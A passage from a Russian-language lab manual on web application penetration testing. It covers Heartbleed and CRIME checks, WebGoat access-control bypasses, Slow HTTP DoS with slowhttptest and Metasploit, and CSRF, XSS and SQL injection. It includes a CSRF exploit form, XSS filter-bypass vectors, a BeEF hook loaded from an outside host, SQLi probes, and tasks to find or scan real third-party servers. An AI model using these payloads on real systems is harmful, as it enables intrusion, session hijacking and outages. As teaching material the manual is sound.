признакам, а также путем использования активных тестов в Metasploit Framework. 

Просмотреть трассировку в Wireshark и определить поддержку расширения 

«Heartbeat» после выполнения команды 

 openssl s client -connect www.test.app.com:443 -tlsextdebug 

Проверить поддержку сервером протокола «Heartbeat» через OpenSSL 

путем выполнения команды 

 openssl s client -connect www.test.app.com:443 -tlsextdebug 
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Если сервер не возвращает в сообщениях данные о расширении «Heartbeat», 

то он не уязвим к данной атаке. 

Для того чтобы проверить, отвечает ли сервер на запросы Heartbeat, 

выполнить команды 

#openssl s client -connect www.test.app.com:443 -msg 

Для проверки уязвимости клиента (например, веб-браузера) к Heartbleed 

атаке можно установить соединение с любым сервером и просмотреть 

трассировку соединения. 

Рассмотрим вариант активного тестирования (выполнение атаки с 

использованием уязвимости) в среде Metasploit Framework. 

Для тестирования клиента выполнить следующие команды: 

 msfconsole 

 use auxiliary/server/openssl heartbeat client memory 

 show options 

 run 

В веб-браузере открыть ресурс Metasploit, отвечающий за тестирование на 

наличие уязвимости к атаке Heartbleed и просмотреть информацию о результате 

тестирования клиента. 

Для тестирования сервера в среде Metasploit Framework выполнить 

следующие команды: 

 msfconsole 

 use auxiliary/scanner/ssl/openssl heartbleed 

 show options 

 set RHOSTS www.test.app.com 

 set RPORT 443 

 set VERBOSE true 

 run 

С помощью проекта http ://un1c0rn. net найти веб-серверы, уязвимые к атаке 

Heartbleed (в крайнем случае, можно использовать тестовые сервера, уязвимые 

атаке Heartbleed, например heartbleed.csr-group.com). Подтвердить уязвимость к 

атаке в среде Metasploit Framework или с помощью сервиса http://ssllabs.com. 

Шаг 8. Проверить наличие уязвимости к атаке «CRIME» по косвенным 

признакам. Данная атака основана на сжатии данных на уровне SSL/TLS. Для 

проверки достаточно выполнить команду 

# openssl s client -connect www.test.app.com:443 -reconnect | grep 'Compression' 

Шаг 9. Проверить наличие HTTP-заголовков Strict-Transport- Security, 

устанавливаемых на стороне веб-сервера. Отправить следующий HTTP-запрос к 

веб-приложению в программе Burp Suite 

GET / HTTP/1.1 

Host: www.test.app.com 

\r\n 

HTTP-ответ должен содержать заголовок следующего вида: 

Strict-Transport-Security: max-age=31536000; 

includeSubDomains 
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Проверить наличие страниц со смешанным контентом (mixed- content pages) 

- страниц, доступных по HTTPS, но содержащих ресурсы (картинки, скрипты 

JavaScript, файлы CSS, медиаконтент), доступные по протоколу HTTP. Для этого 

следует сконфигурировать браузер для работы с тестируемым вебприложением 

через веб-прокси Burp Suite, в процессе работы с веб-приложением необходимо во 

вкладке HTTP History просмотреть историю и удостовериться, что все запросы к 

серверу отправляются только по протоколу HTTPS. 

Проверить, что cookie, содержащие чувствительную информацию, имеют 

атрибут secure, например: 

Set-Cookie: SessionId=371d2sm6cbn3d31a;path=/;secure 

Проверить, что чувствительный контент не кэшируется на стороне клиента. 

Запрещение кэширования определяется наличием 

HTTP-заголовков Pragma, Cache-Control и Expires со следующими 

рекомендованными значениями: 

Pragma: no-cache 

Cache-Control: no-cache, no-store, must-revalidate, 

max-age=0 

Expires: 0 

Проверить, что приложение защищено от атаки «SSL Stripping». Для этого 

необходимо убедиться, что веб-приложение доступно только по протоколу 

HTTPS и не доступно опционально по протоколу HTTP или в веб-приложении 

используется заголовок Strict-Transport-Security (при условии того, что 

пользователь гарантированно попадет на сайт по протоколу HTTPS). 

Шаг 10. Выполнить тестирование SSL/TLS с использованием сервиса 

ssllabs.com. 

В веб-браузере перейти по адресу 

https://www.ssllabs.com/ssltest/index.html, ввести доменное имя сервера, 

выполнить сканирование, просмотреть и проанализировать полученные 

результаты. 

Сравнить результаты сканирования сервера с результатами, полученными 

при его ручном тестировании. 

Выполнить тестирование нескольких веб-клиентов (например, веб-

браузеров Internet Explorer, Mozilla Firefox, Google Chrome, WhiteHat Security 

Aviator, Яндекс Браузер, Apple Safari, Opera и т.п.). Для этого в каждом 

тестируемом браузере открыть страницу https://www.ssllabs.com/ssltest/index.html, 

выполнить сканирование, просмотреть и проанализировать результаты. 

Вопросы и задания 

 Проверить произвольный веб-сервер, поддерживающий SSL/TLS, на 

соответствие рекомендациям Qualys SSL Labs [7]. 

 Написать скрипт, выполняющий идентификацию всех поддерживаемых 

сервером криптографических наборов SSL/TLS. 

 Просканировать веб-серверы 10 известных компаний, банков, операторов 

связи с помощью сервиса ssllabs.com. Проанализировать результаты. 
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2. Лабораторная работа «Тестирование защищенности механизма 

управления доступом и сессиями» 

Тестирование защищенности механизма управления доступом 

Цель работы 

Целью лабораторной работы является обучение методам и средствам 

тестирования защищенности механизма управления доступом в веб-приложениях. 

Краткие теоретические сведения 

Одним из основных механизмов защиты современных вебприложений 

является механизм управления доступом. Обычно выделяют следующие этапы 

управления доступом [8]: 

 идентификация - установление идентификационных данных; 

 аутентификация - подтвержденное установление идентификационных 

данных; 

 авторизация - назначение прав идентификационным данным. При 

входе в веб-приложение (sign in, log in) пользователь иден-

тифицируется (сообщает свой идентификатор) и аутентифицируется 

(доказывает, что он именно тот пользователь, чей идентификатор был 

сообщен). 

Большинство веб-приложений используют аутентификацию по паролю. В 

веб-приложениях с высоким уровнем защищенности (например, в Интернет-

банках) также применяются протоколы двухфакторной аутентификации. 

Очевидным недостатком аутентификации по паролю является возможность 

использования паролей с плохими статистическими характеристиками. Хранение 

пароля или его передача по каналам связи в открытом или даже зашифрованном 

виде потенциально несет угрозу раскрытия пароля. 

Тем не менее, современные защищенные веб-приложения в большинстве 

случаев используют передачу пароля в зашифрованном виде с помощью 

протоколов семейства SSL/TLS, а хранение пароля в хешированном виде. При 

этом для хранения паролей пользователей рекомендуется использовать не 

криптографические хэш-функции общего назначения (например, SHA или MD5), 

а специализированные функции PBKDF2, bcrypt, scrypt и т.п. Также для хранения 

паролей необходимо использовать «соль», предназначенную для затруднения 

проведения атак по словарям и радужным таблицам. 

Авторизация в веб-приложениях может быть определена как процесс 

проверки того, разрешен или запрещен запрос на получения доступа пользователя 

к ресурсу в соответствии с заданной политикой безопасности. Как правило, в веб-

приложениях реализуется ролевая (RBAC) или атрибутная (ABAC) политика 

логического управления доступом. 

Одним из методов тестирования возможности получения привилегий 

другого пользователя является дифференциальный анализ. Его идея заключается 

в идентификации всех возможных запросов и соответствующих им URL, которые 

может выполнить данный пользователь. Затем все полученные запросы 

выполняются от имени другого пользователя веб-приложения. 

Механизм авторизации рекомендуется реализовывать на уровнях 



 

представления, бизнес-логики и данных веб-приложения. Уровень представления 

- не отображает функционал (например, формы, фреймы, ссылки, кнопки), на 

который пользователь не имеет прав доступа. Уровень бизнес-логики 

обеспечивает выполнение проверки наличия соответствующих прав доступа до 

выполнения запроса в веб-приложении, т.е. никакие функции не могут быть 

выполнены до авторизации (например, если пользователь отправляет запрос на 

удаление учетной записи, то веб-приложение должно убедиться, что пользователь 

имеет право на удаление учетной записи и не выполнять никаких функций до 

того, как это будет установлено). Уровень данных обеспечивает проверку наличия 

прав доступа пользователя к данным, а не только к функционалу обработки 

данных (например, пользователь, используя URL вида /delete?record=1, должен 

удалять только те записи в базе данных, на которые он имеет право доступа 

DELETE). 

Постановка задачи 

Выполнить тестирование защищенности механизма управления доступом 

исследуемого веб-приложения. 

Последовательность действий 

Шаг 1. Настроить работу браузера через штатный прокси- сервер Burp Suite. 

В веб-браузере открыть главную страницу тестируемого веб-приложения www. 

test. app . com. 

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор 

учетной записи и пароль доступа к веб-приложению. Проанализировать 

предсказуемость идентификаторов пользователей и, если это возможно, алгоритм 

назначения идентификаторов. Проанализировать реализованную в веб-

приложении парольную политику. Оценить доступную сложность выбора 

паролей пользователями. Опционально выполнить атаку полного перебора паро-

лей. 

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом 

необходимо убедиться, что форма аутентификации доступна только по протоколу 

HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в 

зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не от-

правляются с помощью HTTP-метода GET. 

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для 

встроенных учетных записей. Проверить, что новые учетные записи создаются с 

различными паролями. 

Шаг 5. Проверить возможность идентификации пользователей веб-

приложения через формы регистрации, входа и восстановления пароля. 

Для этого следует ввести несуществующее имя пользователя (например, 

qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя 

и произвольный, но неправильный пароль. В обоих случаях должно быть 

выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя 

или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до 

изменяемых параметров и быть получены за одно и то же время. В противном 

случае веб-приложение имеет скрытый канал (оракул), позволяющий 



 

идентифицировать его пользователей. 

Шаг 6. Проверить возможность реализации атаки подбора пароля 

пользователя. Ввести имя пользователя. Ввести несколько раз неправильный 

пароль (5 - 10 раз). После этого ввести правильный пароль для этой учетной 

записи. Ввести одинаковый пароль для разных учетных записей (для 5 - 10). 

Проверить возможность доступа к веб-приложению. Блокирование учетных 

записей пользователя после нескольких неудачных попыток входа создает 

условие для реализации DoS-атаки и не должно использоваться в механизмах 

защиты от атак подбора паролей. Вместо этого необходимо использовать 

возрастающие временные задержки или средства анти-автоматизации (например, 

CAPTCHA). 

Шаг 7. Проверить, что чувствительный контент (например, страницы с 

введенными номерами кредитных карт, счетов, адресов) не доступен через 

механизм History веб-браузера, а также не кэшируется им. Войти под учетной 

записью пользователя, перейти на страницу с чувствительным контентом. Ввести 

новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не 

должен иметь возможность выполнять новые запросы (при корректной 

реализации управления сессиями). Если при этом пользователю доступны ранее 

запрашиваемые страницы, то это означает, что серверная часть веб-приложения 

не запретила веб-браузеру сохранять данные в истории. 

Запрещение кэширования определяется наличием HTTP- заголовков 

Pragma, Cache-Control и Expires со следующими рекомендованными значениями: 

Pragma: no-cache 

Cache-Control: no-cache, no-store, must-revalidate, 

max-age=0 

Expires: -1 

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин: «guest», пароль: 

«guest». 

Перейти по ссылке «Access Control Flaws —— Bypass a Path Based Access 

Control». Изучить условия задачи. Используя FireBug (или любой аналогичный 

инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать 

кнопку «View File». 

Перейти по ссылке «LAB: Role Based Access Control — 

Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: 

Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как 

он не должен иметь возможности удалять учетные записи. Нажать кнопку «View 

Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой анало-

гичный инструмент), изменить HTML-размету, заменив элемент 

<input type="submit" value="ViewProfile" 

name="action"> 

на элемент 

<input type="submit" value="DeleteProfile" 

name="action"> 

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp 



 

Suite. Профиль пользователя будет удален. 

Опционально решить задачу «LAB: Role Based Access 

Control —— Stage 2». 

Перейти по ссылке «LAB: Role Based Access Control — 

Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: 

Tom). Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Можно 

видеть, что пользователю доступны данные своего профиля. Используя FireBug 

(или любой аналогичный инструмент), изменить HTML-размету, заменив элемент 

<option value="105" selected="">Tom Cat 

(employee)</option> 

на элемент 

<option value="103" selected="">Tom Cat 

(employee)</option> 

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp 

Suite. Будут выведены данные профиля пользователя Curly Stooge. 

Опционально решить задачу «LAB: Role Based Access Control ^ Stage 4». 

Перейти по ссылке «Remote admin access». Изучить условия задачи. 

Просмотреть подменю «Admin Functions». Перейти по ссылке 

WebGoat/attack?Screen=86&menu=200&admin=true. Просмотреть подменю 

«Admin Functions». 

Вопросы и задания 

 Изучить рекомендации к защищенной реализации механизма 

хранения паролей. Исследовать механизм восстановления паролей 

выбранного веб-приложения. 

 Исследовать минимально допустимую длину и сложность паролей в 

произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100. 

 Исследовать наличие оракулов в механизмах аутентификации 

произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100. 
 

3. Лабораторная работа «Тестирование на устойчивость к атакам 

отказа в обслуживании» 

Тестирование на устойчивость к атакам отказа в обслуживании 

Цель работы 

Целью лабораторной работы является обучение методам и средствам 

тестирования веб-приложений на устойчивость к атакам отказа в обслуживании 

(DoS-атакам). 

Краткие теоретические сведения 

Целью реализации DoS-атаки является нарушение доступности веб-

приложения. Это может быть достигнуто путем DoS-атаки на канал связи, 

программную платформу веб-сервера или на само веб-приложение. 

Традиционно DoS-атаки являются сетевыми (используют недостатки 

сетевых технологий) и могут быть классифицированы по уровням модели 

ISO/OSI. Например, атаки ICMP Flood (L3) и DNS/NTP Amplification (L7) 



 

приводят к отказу канала связи, а атаки Ping of Death (L3), SYN Flood (L4), SSL 

Renegotiation DoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) воздействуют на 

платформу веб-приложения (операционная система, веб-сервер, фрэймворк и 

т.д.). 

Для достижения отказа в обслуживании с помощью атак прикладного 

уровня (L7) атакующему может потребоваться существенно меньшее количество 

ресурсов. Например, если для успешной реализация атаки SYN Flood она должна 

быть распределенной (DDoS) и использовать ботнет, то для реализации атак 

класса Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) обычно 

достаточно одного компьютера [10 - 13]. 

Вместе с тем для веб-приложений также характерны DoS-атаки уровня 

приложения, возможные из-за наличия уязвимостей в его коде [9]. Например, 

возможность проведения атаки типа SQL injection может позволить 

злоумышленнику удалить базу данных с учетными записями пользователей или 

выполнить запрос вида select benchmark(100000000, now() ) для израсходования 

ресурсов системы. Также примерами атак уровня приложения являются атаки 

XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP 

Bomb). 

Постановка задачи 

Выполнить тестирование устойчивости веб-приложения www. test. app. com 

к DoS-атакам на уровне протокола HTTP. 

Последовательность действий 

Шаг 1. Установить программу slowhttptest, доступную по URL вида 

https://code.google.com/p/slowhttptest. Изучить документацию. Запустить сетевой 

анализатор Wireshark. 

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера 

www.test.app.com, установить и выполнить базовые настройки для веб-серверов 

Apache, Nginx и IIS. Запустить веб-сервер Apache. 

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть 

трассировку соединения, проверить доступность вебсервера с помощью 

произвольного браузера: 

 slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000 -u http://www.test.app.com 

Провести несколько тестов с различными параметрами. Построить графики 

состояния веб-сервера. 

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, 

просмотреть трассировку соединения, проверить доступность веб-сервера с 

помощью произвольного браузера: 

 slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000 -u http://www.test.app.com 

Провести несколько тестов с различными параметрами. Построить графики 

состояния веб-сервера. 

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл 

достаточного размера, просмотреть трассировку соединения, проверить 

доступность веб-сервера с помощью произвольного браузера: 

 slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50 -w 1 -y 2 -z 1 -u 

https://code.google.com/p/slowhttptest
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/


 

http://www.test.app.com/bigauth.js 

Провести несколько тестов с различными параметрами. Построить графики 

состояния веб-сервера. 

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Проделать 

предыдущие шаги в отношении сервера Nginx. 

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать 

предыдущие шаги в отношении сервера IIS. 

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. 

Проанализировать результаты. Выполнить команду 

 slowhttptest -R -u http://www.test.app.com -t GET -c 1000 -a 10 -b 3000 -r 500 

Выполнить атаку Apache Range Header с использованием Metasploit 

Framework: 

# msfconsole 

 use auxiliary/dos/http/apache range dos 

 show options 

 set RHOSTS www.test.app.com 

 set RPORT 80 

 set RLIMIT 100 

 set THREADS 3 

 run 

Вопросы и задания 

 Как можно по косвенным признакам определить уязвимость веб-сервера к 

атакам типа Slow HTTP DoS? 

 Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP 

DoS. 

 Реализовать и протестировать веб-приложение, уязвимое к атаке XML 

Bomb. 

Поиск уязвимостей к атакам CSRF Цель работы 

Целью лабораторной работы является обучение методам и средствам 

идентификации и эксплуатации уязвимостей вебприложений к атакам CSRF. 

Краткие теоретические сведения 

Атака Cross-Site Request Forgery (CSRF или XSRF) переводится как 

«Межсайтовая подделка запросов» [14, 15]. Данная атака заключается в том, что 

злоумышленник вынуждает браузер пользователя отправить без ведома 

последнего произвольный HTTP-запрос. 

Уязвимость к атаке CSRF обусловлена недостатками отсутствия или 

некорректности проверки веб-приложением источника (origin) HTTP-запросов. 

Как правило, атака проводится в два этапа. На первом этапе 

злоумышленник подготавливает веб-ресурс (либо на своем собственном сервере, 

либо на каком-либо форуме или в социальной сети), содержащий код HTML или 

JavaScript и вынуждающий браузер пользователя выполнить нужный 

злоумышленнику HTTP-запрос. 

На втором этапе злоумышленник вынуждает жертву зайти на 

подготовленный им ресурс, передав ей ссылку с завлекающим текстом. Для этого 

http://www.test.app.com/bigauth.js
http://www.test.app.com/
http://www.test.app.com/


 

злоумышленник может воспользоваться социальными сетями, электронной 

почтой или системами обмена мгновенными сообщениями, а также использовать 

методы социальной инженерии. Для маскировки адреса вредоносного вебресурса, 

злоумышленник может воспользоваться сервисом по сокращению URL 

(например, goo.gl или bit.ly). 

Рекомендуемым общим методом защиты от атак CSRF является метод 

Synchronizer Token Pattern, осованный на использование случайных токенов [15]. 

Нерекомендуемыми методами защиты от атак CSRF являются: 

 проверка HTTP-заголовка Referer; 

 проверка наличия HTTP-заголовка X-Requested-With; 

 использование дополнительных действий пользователя для подтверждения; 

 использование заголовка Cookie (метод защиты «Double submit cookies»); 

 отправка нескольких запросов; 

 использование метода POST. 

При реализации защиты от атак CSRF в первую очередь требуется 

убедиться, что приложение не содержит уязвимостей, позволяющих провести 

атаку XSS, так как почти все меры противодействия атакам CSRF могут быть 

преодолены через использование данной уязвимости. 

Кроме того, необходимо проверить, что все действия, изменяющие 

состояние веб-приложения (действия по изменению или удалению различных 

объектов и т.п.), реализуются только с использованием метода POST (либо 

обычный POST, либо POST через AJAX). 

Постановка задачи 

Выполнить идентификацию и эксплуатацию уязвимостей к атакам CSRF. 

Последовательность действий 

Шаг 1. Запустить веб-приложение WebGoat. Ввести логин: «guest», пароль: 

«guest». Перейти по ссылке «Cross-Site Scripting — Cross-Site Request Forgery». 

Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле 

«Message» значение «test». Нажать кнопку «Submit». Просмотреть с помощью 

Burp Suite или аналогичного средства отправленный браузером запрос 

Ввести в поле «Title» значение «Hello», а в поле «Message» следующий 

HTML-код: 

<img 

src=http://localhost/WebGoat/attack?transferFunds=40 00> 

Шаг 2. Перейти по ссылке «Cross-Site Scripting — CSRF Prompt By-Pass». 

Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле 

«Message» следующий HTML-код: 

<img 

src="http://localhost/WebGoat/attack?transferFunds=4 000" 

onerror="i1=document.createElement('img'); 

i1.src='http://localhost/WebGoat/attack?transferFund s=CONFIRM'"> 

Шаг 3. Проверить уязвимость веб-приложения www.app.test.com к атакам 

CSRF. Найти функцию, меняющую состояние веб-приложения. Выполнить эту 

функцию. Просмотреть HTTP-запрос. Удалить из него заголовки Referer и X-

http://localhost/WebGoat/attack?transferFunds=40
http://localhost/WebGoat/attack?transferFunds=4
http://localhost/WebGoat/attack?transferFund
http://www.app.test.com/


 

Requested- With (если они имеются). Проверить, что в запросе используется метод 

POST. Проверить наличие в запросе параметра, соответствующего CSRF-токену 

(он может называться CSRF_token, CSRFToken, authenticity_token). Приложение 

уязвимо к атаке CSRF, если успешно выполнен один из следующих тестов: — 

запрос не содержит CSRF-токенов в специальных заголовках и параметрах 

формы, а заголовки Referer и X-Requested-With могут быть удалены из запросов 

без нарушения функциональности приложения; 

 запрос содержит CSRF-токен, но последний может быть удален из-запроса 

без нарушения функциональности приложения; 

 запрос содержит CSRF-токен, но значение последнего может быть любым 

или пустым; 

 CSRF-токен одного пользователя может быть использован другим 

пользователем; 

 CSRF-токен является предсказуемым; 

 приложение обрабатывает как POST-запросы с CSRF-токенами, так и GET-

запросы без CSRF-токенов; 

 существует hard-coded CSRF-токен для отладки и тестирования. Шаг 4. К 

обнаруженной уязвимости к атаке CSRF написать 

эксплоит. Например, пусть для удаления учетной записи используется 

следующий запрос: 

POST /delete HTTP/1.1 Host: www.app.test.com 

Cookie: JSESSIONID=KxwexXHkDqzObNrFnXZN19Lq \r\n 

user=test&en=187213&pp=true 

Если данный запрос не содержит CSRF-токенов, то для эксплуатации CSRF-

уязвимости можно разместить на ресурсе злоумышленника следующий HTML-

код: 

<html> 

<body> 

<form action="http://www.app.test.com/delete" 

method=POST> 

<input type="hidden" name="user" value="test"> <input type="hidden" 

name="en" value="187213"> <input type="hidden" name="pp" value="true"> </form> 

<script>document.forms[0].submit()</script> 

</body> 

</html> 

Перейти на веб-ресурс злоумышленника, убедиться, что подделанный 

запрос отправляется и обрабатывается приложением. 

Вопросы и задания 

 Для веб-приложения, уязвимого к атаке CSRF, написать эксплоит, 

отправляющий данные типа multipart/form-data. 

 Для веб-приложения, уязвимого к атаке XSS, написать на языке JavaScript 

эксплоит, извлекающий CSRF-токен. 

 Показать, как, используя уязвимость к атаке CSRF, можно выполнить атаку 

XSS. 

http://www.app.test.com/
http://www.app.test.com/delete


 

4. Лабораторная работа «Поиск уязвимостей к атакам XSS» 

Поиск уязвимостей к атакам XSS 

Цель работы 

Целью лабораторной работы является обучение методам и средствам 

идентификации и эксплуатации уязвимостей вебприложений к атакам XSS. 

Краткие теоретические сведения 

Атака Cross-Site Scripting (XSS) - это атака на веб-приложение, 

использующая недостатки неправильной обработки данных и позволяющая 

выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника 

(origin) уязвимого вебприложения. 

Атаки XSS классифицируются по вектору и способу воздействия. По 

вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми 

(persistent) и основанными на объектной модели документа (DOM-based). По 

вектору атаки XSS делятся на активные и пассивные. 

Устойчивая атака XSS - это XSS атака, в результате которой введенный 

злоумышленником код сохраняется на веб-сервере и возвращается пользователю 

в запросе не содержащем вектор атаки. 

Отраженная атака XSS - XSS атака, в результате которой код, введенный 

злоумышленником, передается пользователю в ответе на тот же запрос, в котором 

передан вектор атаки. 

Атака XSS, называется DOM-based, если код злоумышленника может быть 

выполнен в браузере пользователя без отправки запроса на сервер веб-

приложения. 

В результате успешной реализации атаки XSS злоумышленник может 

выполнить, например, следующие действия: 

 перенаправить пользователя на любой веб-сайт; 

 получить аутентификационные данные пользователя, передающиеся в 

Cookie; 

 получить любые данные, к которым имеет доступ клиентская часть 

веб-приложения; 

 получить доступ к внутренней сети пользователя; 

 выполнить Deface веб-сайта и т.д. 

В общемировой практике тестирования защищенности вебприложений в 

качестве доказательства уязвимости приложения к атаке XSS принято 

демонстрировать возможность выполнения JavaScript-кода вида alert(1), 

prompt(/XSS/), confirm(0) и т.п. 

При тестировании наличия уязвимости к атакам XSS важно определять 

контекст, в который выводятся данные. Существуют следующие виды 

контекстов: HTML, SCRIPT, STYLE, URL и атрибутный [16]. Ниже приведены 

примеры XSS-векторов для каждого из контекстов: 

<h1>Hello,<img/src=1 onerror=prompt(0)></h1> <script>var 

name='';alert(1);'';</script> 

<a href="javascript:alert&lpar;1rpar;">ClickMe</a> <div class = " 

"onmouseover="alert(1); ">...</div> 



 

<div syle="width : expre/**/ssion(alert(1)) ">...</div> 

Постановка задачи 

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS. 

Последовательность действий 

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта 

www.pentesterlab.com. Создать виртуальную машину. 

Загрузиться с диска. В браузере открыть веб-приложение. 

Шаг 2. Перейти по ссылке «XSS ^ Example 1». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектор 

<script>alert(1)</script> 

Шаг 3. Перейти по ссылке «XSS ^ Example 2». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектор 

<script>alert(1)</script> 

Убедиться, что слово script фильтруется. Ввести вектор 

<ScRipT>alert(1)</sCrIpT> 

Шаг 4. Перейти по ссылке «XSS ^ Example 3». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектор 

<script>alert(1)</script> 

Убедиться, что слово <script> вырезается. Ввести вектор 

<scr<script>ipt>alert(1)</s</script>cript> 

Шаг 5. Перейти по ссылке «XSS ^ Example 4». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектор 

<script>alert(1)</script> 

Убедиться, что слово <script> вырезается корректно. Ввести вектор 

<img/src=1 onerror=alert(1)> 

Шаг 6. Перейти по ссылке «XSS — Example 5». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве переменной name ввести вектора 

<script>alert(1)</script> 

<img/src=1 onerror=alert(1)> 

Убедиться, что слово alert вырезается корректно. Ввести вектора 

<img/src=1 onerror=\u0061alert(1)> 

<img/src=1 onerror=prompt(1)> 

<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)"> 

Шаг 7. Перейти по ссылке «XSS — Example 6». 

Проанализировать логику функционирования веб-приложения. Определить 

http://www.pentesterlab.com/


 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектора 

";alert(1);" 

</script><script>alert(1);// 

Шаг 8. Перейти по ссылке «XSS — Example 7». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. В качестве 

переменной name ввести вектор 

";alert(1);" 

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве 

переменной name ввести векторШаг 9. Перейти по сылке «XSS ^ Example 8». 

Проанализировать логику функционирования веб-приложения. Определить 

контекст возможной атаки XSS. Вводимые данные кодируются корректно. 

Изменить URL на следующий: 

xss/example8.php/"onsubmit="alert(1) 

Шаг 10. Перейти по ссылке «XSS ^ Example 9». Проанализировать логику 

функционирования веб-приложения. Определить контекст и тип возможной атаки 

XSS. В браузере перейти по ссылке 

xss/example9.php#<script>alert(1)</script>. 

Убедиться, что никакого HTTP-запроса не отправляется. 

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по 

ссылке «XSS ^ Example 1». В качестве значения параметра name ввести вектор 

<script src="http://1.1.1.1:3000/hook.js"></script> 

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В 

разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» 

просмотреть информацию о браузере и компьютере. Перейти во вкладку 

«Commands». Выполнить следующие команды и проанализировать полученные 

результаты: 

 «Create Alert Dialog»; 

 «Redirect Browser», перенаправив пользователя на сайт http://evil.com; 

 «Clickjacking»; 

 «Clippy»; 

 «Fake Notification Bar»; 

 «Google Phishing»; 

 «Pretty Theft». 

Вопросы и задания 

 Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-

game.appspot.com. 

 Выполнить несколько заданий по поиску уязвимостей к атакам XSS на 

сайте escape.alf.nu. 

 Выполнить несколько заданий по поиску уязвимостей к атакам XSS на 

сайте prompt.ml. 
 

http://1.1.1.1:3000/hook.js%22%3e%3c/script
http://evil.com/
https://t.co/7GVIFfGcBP
https://t.co/7GVIFfGcBP
http://t.co/bvlO9IXxmY


 

5. Лабораторная работа «Поиск уязвимостей к атакам SQL-injection» 

 

Поиск уязвимостей к атакам SQL-injection Цель работы 

Целью лабораторной работы является обучение методам и средствам 

идентификации и эксплуатации уязвимостей в вебприложениях к атакам SQL-

injection. 

Краткие теоретические сведения 

Атака внедрения операторов SQL (SQL-injection) - это внедрение во 

входные данные, обрабатываемые веб-приложением, операторов языка SQL. 

Необходимым условием уязвимости к атаке SQL-injection является 

недостаточная обработка входных недоверенных данных при формировании веб-

приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection 

позволяет злоумышленнику получить непосредственный доступ к данным через 

механизмы СУБД в обход логики веб-приложения. 

В зависимости от используемой веб-приложением СУБД и условий 

внедрения выделяют следующие разновидности атак SQL-injection [17]: 

 классическая; 

 «слепая» типа boolean-based; 

 «слепая» типа time-based; 

 error-based; 

 вложенная; 

 фрагментированная. 

Рассмотрим примеры базовых тестов, обнаруживающих уязвимость 

параметра id к атаке SQL-injection: //www.test.app.com/index?id=1' 

//www.test.app.com/index?id=1" //www.test.app.com/index?id=1' order by 1000 

//www.test.app.com/index?id=1"-- //www.test.app.com/index?id=1'/* 

//www.test.app.com/index?id=1"# //www.test.app.com/index?id=1 and 1=1-- 

//www.test.app.com/index?id=1 and 1=2— //www.test.app.com/index?id=1' and '1'='1 

//www.test.app.com/index?id=1' and '1'='2 

 Постановка задачи 

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-

injection. 

Последовательность действий 

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта 

www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В 

браузере открыть веб-приложение. 

Шаг 2. Перейти по ссылке «SQL injections ^ Example 1». Проанализировать 

логику функционирования веб-приложения. Последовательно ввести следующие 

запросы, обращая внимание на вывод веб-приложения, сделать предположение о 

структуре используемого SQL-запроса: 

 sqli/example1.php?name=root' 

 sqli/example1.php?name=root" 

 sqli/example1.php?name=root'%201=1 

 sqli/example1.php?name=root'%201=1# 

http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1
http://www.test.app.com/index?id=1'
http://www.test.app.com/index?id=1%22--
